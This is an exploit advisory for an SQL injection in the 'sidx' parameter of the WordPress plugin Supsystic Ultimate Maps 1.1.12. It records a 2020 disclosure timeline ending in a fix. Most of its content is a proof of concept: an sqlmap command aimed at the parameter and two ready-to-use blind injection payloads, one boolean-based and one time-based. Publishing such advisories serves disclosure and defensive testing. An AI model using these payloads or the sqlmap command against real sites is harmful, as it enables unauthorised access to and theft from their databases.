WordPress Supsystic Ultimate Maps 1.1.12 SQL Injection

`# Exploit Title: WordPress Plugin Supsystic Ultimate Maps 1.1.12 - 'sidx' SQL injection  
# Date: 24/07/2020  
# Exploit Author: Erik David Martin  
# Vendor Homepage: https://supsystic.com/  
# Software Link: https://downloads.wordpress.org/plugin/ultimate-maps-by-supsystic.1.1.12.zip  
# Category: Web Application  
# Version: 1.1.12  
# Tested on: 16.04.6 LTS / WordPress 5.4.2  
  
# 25/07 2020: Vendor notified  
# 27/07 2020: Vendor requested detailed information  
# 27/07 2020: Information provided  
# 07/08 2020: Nudged vendor. No reply  
# 22/08 2020: Nudged vendor. No reply  
# 04/10 2020: Nudged vendor. No reply  
# 29/11 2020: WordPress Plugin Security team contacted  
# 09/12 2020: Vulnerability fixed  
  
# 1. Description  
  
The GET parameter "sidx" does not sanitize user input when searching for existing maps.  
  
# 2. Proof of Concept (PoC)  
  
Use ZAP/Burp to capture the web request when searching for existing maps and save it to request.txt  
Referer: http://192.168.0.49/wp-admin/admin.php?page=ultimate-maps-supsystic  
  
sqlmap -r request.txt --dbms=mysql -p sidx  
  
Parameter: sidx (GET)  
Type: boolean-based blind  
Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=1595781611306&rows=10&page=1&sidx=(SELECT (CASE WHEN (7084=7084) THEN 0x6964 ELSE (SELECT 3932 UNION SELECT 2499) END))&sord=desc  
  
Type: time-based blind  
Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=1595781611306&rows=10&page=1&sidx=id AND (SELECT 9735 FROM (SELECT(SLEEP(5)))AJAb)&sord=desc  
  
  
`